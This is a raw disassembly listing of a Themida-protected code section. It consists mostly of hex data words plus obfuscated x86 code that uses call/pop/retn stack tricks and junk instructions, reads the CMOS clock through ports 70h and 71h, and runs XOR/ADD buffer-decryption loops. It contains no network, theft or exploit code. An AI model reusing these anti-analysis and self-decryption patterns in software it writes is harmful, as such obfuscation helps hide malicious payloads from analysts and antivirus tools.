4C8959C3h, 44810424h, 1D0424h, 51410000h, 0C3AEDCC3h dd 0C3FECD07h, 6A764C57h, 299D8BFFh, 0FF061217h, 1219B1B5h dd 12BF6606h, 7595FF00h, 0E9061214h, 136h, 11A1BD01h, 0B00612h dd 31EDBD29h, 70E60612h, 0EE9h, 16DC8F00h, 0FBA950A6h dd 1C7296B2h, 0E48F4FD1h, 0E6DB8171h, 3C4A26A6h, 3830F61h dd 0F000001h, 28Fh, 0FFE8B00h, 0B589C8B6h, 6121971h, 18BDBD8Bh dd 6BA0612h, 8B000000h, 122A55BDh, 0C1C18B06h, 565304E8h dd 5F5F5F57h, 2BE2F766h, 259D89C8h, 0B7061212h, 8AD18BDFh dd 0C0E9DAh, 0BD8B0000h, 6122A81h, 4858Bh, 0B70F0000h dd 83DA8BFEh, 12E907C0h, 0B2000000h, 39AB7FE8h, 0F73102A9h dd 1687B83Ch, 0C55B7CEFh, 0C08347h, 1D91BD89h, 0D03B0612h dd 15830Fh, 81660000h, 0E9C939D7h, 7Ah, 0C6E38166h, 0DDB529AAh dd 8B061215h, 0FFFFFF8Dh, 6840FFFh, 8B000000h, 122CFDBDh dd 1E18306h, 54840Fh, 0F3810000h, 48DDFD90h, 0FE8h, 8222500h dd 4FEE4B19h, 27411CC2h, 3C5482FCh, 11E9h, 59B84E00h, 6AAEE5BCh dd 0D6BEAFF7h, 5648683Eh, 835F4281h, 0FFFFFFA5h, 9D8BFEFFh dd 6120799h, 49589h, 0D7810000h, 7E4F3F60h, 23CF8166h dd 0E982h, 0B58D0000h, 6165584h, 17A1BD8Bh, 6A0612h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F3C35141h, 0C9E68870h dd 0DB80B3D5h, 0D195FF88h, 6A061229h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FDD8C356h dd 383EA6CCh, 0CE977h, 0F5FE0000h, 3E133BFEh, 2742BE83h dd 8FB9A3A7h, 6600000Eh, 81D4A0BBh, 0AD0588EBh, 0FCE1837Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A7C35141h dd 0A8277DDFh, 891C7CA2h, 12001585h, 0BD8BFC06h, 6122B1Dh dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 181D6DC3h, 2BEA9240h, 52006AD2h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 850FC3A2h dd 2, 33ADFD8Ah, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E98694C3h dd 0Ch, 8F98B052h, 0C6EAAE65h, 0DCE0F448h, 6AFBB70Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 8D7BC352h, 511AFB11h, 0FCBB66F3h, 880D10h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0C04D9C3h, 0C63ABB66h, 2DCD958Bh, 6A0612h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 650F2FC3h dd 8BB1B72Eh, 1231BD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0DB904F4h, 50949DA6h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 0EB816658h dd 8A0F67CEh, 3, 83FEBF0Fh, 121419BDh, 840F0006h, 8Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 29C35747h dd 0B83Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 7E9903C3h, 81667C21h, 0E814C4E3h dd 0Bh, 2ABD262h, 5B0D8C2Bh, 2379FC14h, 1224D5BDh, 95895F06h dd 61231C9h, 4E4B8D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0E1FFB7C3h, 1B8DBD8Bh dd 0BD830612h, 6120011h, 94840F00h, 89000003h, 1223A185h dd 11BD8306h, 1061200h, 39C840Fh, 81660000h, 83DA01CBh dd 120011BDh, 860F0306h, 354h, 0CE80FC60h, 6A60611Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0BC7DC352h, 50BC9E29h, 0FE9h, 0B116C100h, 13A84EECh dd 13A289B5h, 8D5D1177h, 0D98C665Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 74C35040h, 5BC362B1h, 95890832h dd 6123105h, 6A04E180h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 58D2C353h, 0D4974C26h dd 0D38B448Dh, 15858952h, 5B06122Fh, 840FC90Ah, 0E8h, 20F59D29h dd 858B0612h, 61224CDh, 2C899D0Bh, 85330612h, 612248Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C35040h dd 0BBE30789h, 11665FF9h, 0FE8B6650h, 80240489h, 6A1BCBh dd 0EC68FA8Bh, 504D1C38h, 13E952h, 0E4D90000h, 4AEECC25h dd 3AFBF184h, 81B21CE5h, 6707CD86h, 5A310FBBh, 24348158h dd 4D033B13h, 89D78166h, 3195FF93h, 8B061230h, 1228BD9Dh dd 0C858906h dd 6A0615BDh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0E8FBC351h, 6850Fh, 9D8B0000h dd 612154Dh, 2E959589h, 8BE90612h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 6E1FC355h, 0F7EBFE25h, 0B372F3C6h, 0FFBF0F87h, 0BD04858Bh dd 95890615h, 61210EDh, 1800C7h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B766AC3h dd 15BD08B5h, 27BB6606h, 99858B67h, 89061223h, 12170DB5h dd 0F068906h, 581h, 0C5ABF00h, 800F214Ch, 6, 32B98D89h dd 858B0612h, 61224CDh, 0CE9h, 1731A200h, 0D7327812h, 6DE9F353h dd 44689FBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0B9C35141h, 0BF82E93Eh, 5065E7FAh, 0E58BB66h, 89243489h dd 12156185h, 4B5FF06h, 660615BDh, 0B589DA8Bh, 61221F9h dd 0CE63AB68h, 81DA8BDFh, 0A0542404h, 6A2050h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0E271CFC3h, 607C7D52h, 1D818D8Bh, 81610612h, 0DEB77CF7h dd 0C858D44h, 6A0615BDh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 7127C352h, 72C3EBCAh dd 41BD89C7h, 5006122Dh, 0FE8h, 0FAE46800h, 50BA26DEh dd 85232E9Dh, 0B1A486F6h, 2404895Bh, 0FFE0C380h, 12303195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 6A61CC27h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 559BC355h, 0E8BB6C4Ch dd 0C75D901Ch, 12001185h, 306h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 564313CEh dd 2D4C381h, 835F5DDBh, 15BD0CBDh, 840F0006h, 8, 0E966EF80h dd 1Bh, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 0FC08B00h, 8Fh, 38C0F00h, 0F000000h, 0BD83DFB7h, 6120011h dd 0F9850F03h, 89000004h, 121D3585h, 13E906h, 5E2F0000h dd 4FDB5F33h, 9A28E1E9h, 0F059F43Fh, 98544E20h, 0CBD8323h dd 615BDh, 4CE840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0FBA081C3h, 0FC21FE3Bh dd 19CD9D8Bh, 0B5FF0612h, 615BD0Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 81C35343h, 0EEB14879h, 8B88F2D5h dd 12283DBDh, 2995FF06h, 6A061220h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 549EC351h dd 42809728h, 9509A9C9h, 61233A9h, 0BD00B58Bh, 0BD8B0615h dd 6123395h, 106C7h, 0B5890001h, 61226C9h, 11E996h, 21B20000h dd 0D9ED04E8h, 0C6393E89h, 0B58EDDDh, 508BF256h, 5D752DBFh dd 6A964Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0DB8B2CC3h, 0FE992EBh, 0FE000000h, 443D2D32h dd 8C4AE6BBh, 227D9062h, 9D8B0630h, 6121F6Dh, 0BD0CB5FFh dd 0FE80615h, 0B7000000h, 0A7759866h, 0F0E03841h, 3B755481h dd 0BD89A320h, 6121EDDh, 0E195FF5Fh, 6A06121Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 212EC350h, 6417038Ch, 1720AF19h, 2CFDBD23h, 0B58B0612h dd 615BD00h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 37C35747h, 27E58531h, 8D890612h, 61228C9h, 3039858Bh dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 412A99C3h, 9BE009A5h, 0F9928106h, 0C48689h dd 81660000h, 51D114EFh, 1A959D89h, 8B5B0612h, 122DCD95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0EFA66F77h, 3737B8CCh, 0F1DBF66h, 0EA53F381h dd 0C28342EAh, 0E9BD8904h, 89061212h, 6A2050h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 2018FDC3h, 0B6D40AA6h, 858D2D08h, 615D0EAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4AC35242h, 0B88689h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0D9059FC3h, 0A49C36F1h, 0FB8BFFE7h, 8D0F006Ah dd 5, 0F4E591BFh, 0CB5FF26h, 6A0615BDh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3DC356h dd 0C3B78D99h, 0B6BB0DDEh, 0BF59D200h, 3DAFBF2Fh, 2CD595FFh dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 75A2E3C3h, 92C5BCB9h, 0BB66833Dh, 8166C7C1h dd 504B64F7h, 0E8243489h, 0Ah, 0CA208CF0h, 48E2B74h, 0AE9A6BBh dd 0A1000000h, 0FECFBC3Bh, 16C14A6Dh, 870F5FB1h, 0Ch, 6850Fh dd 0BD8B0000h, 6120785h, 0BD0CB5FFh, 9D8B0615h, 612334Dh dd 2E2995FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E84725C3h, 0Ch, 60A8B530h, 0EA63B6B1h dd 8E22FBB9h, 8E9h, 29E37D00h, 7A45DE4Bh, 0BD835F66h, 6121189h dd 59840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 61DFC357h, 0D8111874h dd 8950F3CEh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 2AFCBC3h, 8EDED207h, 7E96041h, 0AB000000h dd 0A0759392h, 61F9C1AFh, 0BD0CB5FFh, 9D8B0615h, 612257Dh dd 2AA595FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 16A4EDC3h, 0DEEDB39Eh, 0FF958D37h dd 15BD0CB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 0CB667826h, 0D99531C2h, 56061223h dd 5BD88B66h, 1BB195FFh, 81660612h, 83F005D3h, 122A41BDh dd 840F0206h, 7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 50C35747h, 5EC271AFh, 0EC553BE8h, 16DDBD89h dd 858B0612h, 61218A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0F2C35646h, 0D1E09FA3h, 0C6D8BF0Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 525B23C3h, 81BAB11Ch, 359D0BFCh, 0C706121Eh, 12030185h dd 6, 0F8BF0F00h, 0FFF32EE9h, 0C5BD0BFFh, 0BB061223h, 62A54F33h dd 0BD8BC18Bh, 6122AEDh, 65858Dh, 0F98B0612h, 89DE8B50h dd 0BD892404h, 6123305h, 8B66006Ah, 6A006AD9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0B760C350h, 4BC4ABBCh, 0FD2DC6Bh, 0B70FDBB7h, 9B858DDEh dd 8B0616E6h, 12186D9Dh, 5C08306h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B8C35141h dd 0CDEC3E72h, 0D8A7085h, 90FB8BF9h, 5E8h, 92463500h, 5760FB60h dd 0C245B959h, 5B6179FEh, 0FB8B9050h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0FAE887C3h, 0D3DCBA1Ah, 0BF66E837h, 6A018Fh, 2B299589h dd 95FF0612h, 6120B55h, 9BCA8D8Dh, 6A0615h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 83F419C3h dd 0FF346E2Ch, 53006AD1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 528BE543h, 82DE7EACh dd 0BD83B26Eh, 6120EE9h, 9E850F01h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0CA25C351h, 561EE1C7h, 6678D38Fh, 0DF82D381h, 6A026Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 8A4273C3h, 0E6BC8467h, 0BD03F6F5h, 6123011h, 7CBB5090h dd 906D514Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 31C35040h, 41353DE4h, 6850F3Eh, 60000000h, 5E52C28Bh dd 0D595FF61h, 8B06122Ch, 6850FFAh, 8B000000h, 1215599Dh dd 0CE8E906h, 0E80000h, 5D000000h, 0E6A5ED81h, 6A0616h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0DC7141C3h, 9CC2CF50h, 27E5BD8Bh, 0BD8B0612h, 6121A55h dd 968F858Dh, 0BD2B0615h, 61228A1h, 50DBB70Fh, 800Fh, 4890000h dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0AA3A1E1Dh, 0A9FBEF81h, 0BD036BD4h, 6122BF5h dd 35FF64h, 2B000000h, 121765BDh, 25896406h, 0 ; --------------------------------------------------------------------------- xor [ebp+612334Dh], eax inc dword ptr [ebp+6121235h] jmp loc_5CA226 ; --------------------------------------------------------------------------- db 5Fh, 0B2h, 0F2h dd 588218EFh ; --------------------------------------------------------------------------- jbe short loc_5CA273 loc_5CA226: ; CODE XREF: Themida_:005CA218j ; Themida_:loc_5CAE55j push 0FFFFFFFFh push 0 push eax call sub_5CA233 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA233 proc near ; CODE XREF: Themida_:005CA22Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5CA233 endp ; --------------------------------------------------------------------------- db 0BBh dd 0F5CC9A6Fh, 0CEF6614h, 6860F47h, 89000000h, 121D0185h dd 0A5B5FF06h, 29061229h, 122789B5h, 49BD0106h, 0FF061230h dd 12147595h db 6, 0E9h, 25h ; --------------------------------------------------------------------------- loc_5CA273: ; CODE XREF: Themida_:005CA224j add [eax], eax add [ecx+1216E5BDh], cl push es mov al, 0 mov bx, ax out 70h, al ; CMOS Memory: ; used by real-time clock sbb ebx, 69E0D0FBh in al, 71h ; CMOS Memory xor bh, 0Dh cmp al, 61h jnb loc_5CA39B push edx mov ebx, [ebp+6121729h] pop ebx movzx ecx, al mov ebx, [ebp+6122E69h] mov edx, 6 and edi, 7FBBCE8Bh pusha mov edx, [ebp+6122341h] xor [ebp+6121809h], edi popa mov eax, ecx mov ebx, [ebp+61219D9h] xor [ebp+61211D9h], edi shr eax, 4 mov edi, 773397D3h mul dx jmp loc_5CA2E6 ; --------------------------------------------------------------------------- dw 78DDh dd 168F73E7h db 27h, 3Bh ; --------------------------------------------------------------------------- loc_5CA2E6: ; CODE XREF: Themida_:005CA2D9j jmp loc_5CA2FE ; --------------------------------------------------------------------------- db 59h dd 0B616AC8Ah, 4340EF6Ah, 0EA1BE80h, 51C0CB2Ch db 0F9h, 29h ; --------------------------------------------------------------------------- loc_5CA2FE: ; CODE XREF: Themida_:loc_5CA2E6j sub ecx, eax jmp loc_5CA314 ; --------------------------------------------------------------------------- and al, 6Ah add eax, 0CB67D726h cmp eax, 0D137B2C2h rcr byte ptr [ebp+36h], 1 loc_5CA314: ; CODE XREF: Themida_:005CA300j mov edx, ecx adc bl, 0E2h jmp loc_5CA39B ; --------------------------------------------------------------------------- mov ebx, edi mov eax, [ebp+5F4C4C44h] mov edi, 794C5A7Ch add ebx, [ebp+612163Dh] add eax, 7 mov [ebp+6120885h], esi add eax, 0 sub ebx, 250B1B2Fh cmp edx, eax jnb loc_5CA362 mov [ebp+61203E1h], edi jmp loc_5CA39B ; --------------------------------------------------------------------------- mov ebx, [ebp+6121389h] and edi, [ebp+6120F4Dh] loc_5CA362: ; CODE XREF: Themida_:005CA345j mov ecx, [ebp-1] push esi pop edi and ecx, 1 jz loc_5CA39B sbb edi, 0BB05FC7h and dword ptr [ebp-1], 0FFFFFFFEh jno loc_5CA38C mov [ebp+6122CB1h], esi loc_5CA38C: ; CODE XREF: Themida_:005CA380j mov [ebp+5F4C4C44h], edx cmc movsx edi, bx jmp $+5 loc_5CA39B: ; CODE XREF: Themida_:005CA290j ; Themida_:005CA319j ... lea esi, [ebp+6166413h] push 0 push ecx call sub_5CA3AC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA3AC proc near ; CODE XREF: Themida_:005CA3A4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5CA3AC endp ; --------------------------------------------------------------------------- and [ecx+270C4F58h], ah and dword ptr [ecx-62746E11h], 6122A99h push 0 and ebx, 2D7FB9BCh call dword ptr [ebp+61229D1h] push 0 push esi call sub_5CA3E5 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA3E5 proc near ; CODE XREF: Themida_:005CA3DDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5CA3E5 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push esp mov edi, 1D9D8B9Ch adc al, es:[esi] mov ecx, 107Fh push 0 push ebx call sub_5CA40F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA40F proc near ; CODE XREF: Themida_:005CA407p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5CA40F endp ; --------------------------------------------------------------------------- db 0Bh dd 29C55D59h, 0F91CFF5h, 830FDFBFh, 6, 0AC0FDB81h, 0E1831BA5h dd 68C0FFCh, 8B000000h, 1220C1BDh, 6AFC06h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 5C5918C3h dd 0DA8AB78Eh, 0B8h, 0EFBB6600h, 0BA2Dh, 10E80000h, 0A7000000h dd 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h, 89DBADE6h, 1221F18Dh dd 33AD5F06h, 3E8D1C2h, 4E983D0h, 8E8F475h, 8D000000h dd 8F06F149h, 2966E803h, 12161585h, 6A5B06h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 1FB27AC3h dd 6023E2E8h, 9198D01h, 0D610612h, 88h, 958BEAB3h, 6122DCDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A1C35141h dd 0E0B491BAh, 0D88B2E9Ch, 31BD8D8Bh, 8C0F0612h, 13h, 0EE9h dd 0AEBF9600h, 0E2844D1Ch, 8D3DAC67h, 0E9CF5E93h, 0Bh dd 6405607Ch, 0BFC105D7h, 50AB73E3h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 85BD8958h, 8B061219h, 12217D9Dh dd 0E1858906h, 8306121Ch, 121419BDh, 840F0006h, 0CFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D4C35747h, 0B56EAFE7h dd 0B8458B06h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5CA59F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA59F proc near ; CODE XREF: Themida_:005CA597p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5CA59F endp ; --------------------------------------------------------------------------- db 0EAh ; --------------------------------------------------------------------------- jmp loc_5CA5C6 ; --------------------------------------------------------------------------- db 0A7h, 7Eh, 27h dd 0B5FD8353h, 0F494A953h, 3B2ADB5Ch db 0AFh, 72h ; --------------------------------------------------------------------------- loc_5CA5C6: ; CODE XREF: Themida_:005CA5B0j lea ecx, [ebp+6124E4Bh] push 0 push edx call sub_5CA5D7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA5D7 proc near ; CODE XREF: Themida_:005CA5CFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5CA5D7 endp ; --------------------------------------------------------------------------- db 0E5h ; --------------------------------------------------------------------------- mov esi, 17698F4Ch mov edx, 95016B7h mov ch, 19h adc edx, [edx] push es pop ebx pusha or [ebp+6121CE9h], ebx or [ebp+61215B5h], edi popa jmp ecx ; --------------------------------------------------------------------------- push 0 push eax call sub_5CA613 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA613 proc near ; CODE XREF: Themida_:005CA60Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5CA613 endp ; --------------------------------------------------------------------------- cwde xchg eax, ecx or al, [ebp-12h] and esp, ecx sub ah, [esi] jo loc_5CA635 movzx edi, dx loc_5CA635: ; CODE XREF: Themida_:005CA62Cj xor edi, [ebp+6121E45h] cmp dword ptr [ebp+6120011h], 0 jz loc_5CAA98 push 0 push ecx call sub_5CA653 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA653 proc near ; CODE XREF: Themida_:005CA64Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5CA653 endp ; --------------------------------------------------------------------------- dec edi rcr dword ptr [eax], 1 les esp, [eax-77h] popf xchg eax, ecx sbb dl, [edx] push es xor ah, 3Ch popa cmp dword ptr [ebp+6120011h], 1 jz loc_5CAAB3 push 0 push esi call sub_5CA68A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA68A proc near ; CODE XREF: Themida_:005CA682p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5CA68A endp ; --------------------------------------------------------------------------- ror dword ptr ds:723A1628h, cl cmp [ebx-3A627636h], bh push ss adc al, [esi] mov [ebp+6122E39h], esi cmp dword ptr [ebp+6120011h], 3 jbe loc_5CAA7D mov ebx, edi pusha add ebx, [ebp+6122A9Dh] mov cx, ds mov edi, [ebp+6121CF5h] sub [ebp+61231B5h], eax and cl, 4 push 0 push ebp call sub_5CA6E2 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA6E2 proc near ; CODE XREF: Themida_:005CA6DAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5CA6E2 endp ; --------------------------------------------------------------------------- dw 0C9F2h dd 0BDBF66F9h, 0FC90A43h, 14384h, 8BFA8B00h, 1224CD85h dd 9D8B5306h, 6122CB1h, 8D85335Bh, 0F061224h, 5050D8B7h dd 0BB666052h, 0F61D252h, 9E95631h, 0FC000000h, 8F5BDE29h dd 494BB20Eh, 89585A5Fh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 4EA61CC3h, 29E8B002h dd 1219C595h, 0C89ABB06h, 7E95935h, 0F4000000h, 9B57A862h dd 6AA47Fh, 0A6EF27BBh, 4E851h, 3FF0000h, 0E960001Fh, 8 dd 0A6B95F21h, 0C0C63281h, 59535250h, 0CE8310Fh, 0FD000000h dd 439874E1h, 0AD0D7618h, 5A7314F0h, 5061585Ah, 424448Bh dd 0D382BABBh, 66008B7Bh, 89B557BBh, 66042444h, 58165EBFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 59C35242h dd 0F73EABDh, 0C8Bh, 6800F00h, 9000000h, 1216D185h, 3195FF06h dd 6A061230h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0C0A7C357h, 0D98B661Dh, 2AA1B589h dd 85890612h, 615BD0Ch, 0E94CD780h, 1DFh, 0FE9h, 0E1BB6500h dd 7B77AD4Ah, 62834242h, 1D63DFADh, 0BD04858Bh, 6A0615h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 9EEFA8C3h, 8859D2Bh, 0C70612h, 18h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 8C35343h, 0FDB109B4h, 89B62CEBh dd 1219C5B5h, 8B58B06h, 6A0615BDh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 45ECC355h dd 8B389710h, 12239985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0CB8151D0h, 5043FDD6h dd 0F06895Fh, 683h, 51BD8B00h, 8B061225h, 1224CD85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0D0672615h, 0FA8B6613h, 89044689h, 1226C195h, 0E8605006h dd 0Fh, 0BF13AA1Ah, 19733905h, 24EA61Ch, 608DE8B0h, 810F5A61h dd 10h, 0AE8h, 5851B100h, 5537165Fh, 5E1BFBC0h, 24348961h dd 1F619D09h, 9D8B0612h, 6122FB5h, 0BD04B5FFh, 81660615h dd 0E8F0DFC3h, 4, 1F03FFh, 7F7824BBh, 830F5076h, 3, 8BF88B66h dd 66042444h, 8B0480BFh, 24448900h, 0DE8B6604h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 665DBB31h, 4295DB81h, 0BD0C858Dh, 95090615h, 6120C45h dd 45BF6690h, 6A90507Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0D9F4C356h, 9FFBB422h dd 0BD8B1F88h, 61212CDh, 303195FFh, 8B660612h, 0D9D8BFEh dd 6106122Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 73C35646h, 849C1622h, 1185C7h, 30612h, 81660000h dd 833546D7h, 15BD0CBDh, 840F0006h, 31h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 18h, 9DC35242h, 0E1BEC0F2h dd 1A098589h, 21E90612h, 8B000000h, 120B699Dh ; --------------------------------------------------------------------------- push es loc_5CAA7D: ; CODE XREF: Themida_:005CA6B6j ; Themida_:005CAA94j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5CAA7D jmp short loc_5CAACE ; --------------------------------------------------------------------------- loc_5CAA98: ; CODE XREF: Themida_:005CA642j ; Themida_:005CAAAFj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CAA98 jmp short loc_5CAACE ; --------------------------------------------------------------------------- loc_5CAAB3: ; CODE XREF: Themida_:005CA679j ; Themida_:005CAACAj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CAAB3 jmp short $+2 loc_5CAACE: ; CODE XREF: Themida_:005CAA96j ; Themida_:005CAAB1j mov eax, eax mov edi, [ebp+6122959h] jp loc_5CAAE2 and ebx, 24465EF5h loc_5CAAE2: ; CODE XREF: Themida_:005CAAD6j cmp dword ptr [ebp+6120011h], 3 jnz loc_5CAE55 cmp dword ptr [ebp+615BD0Ch], 0 jz loc_5CAE55 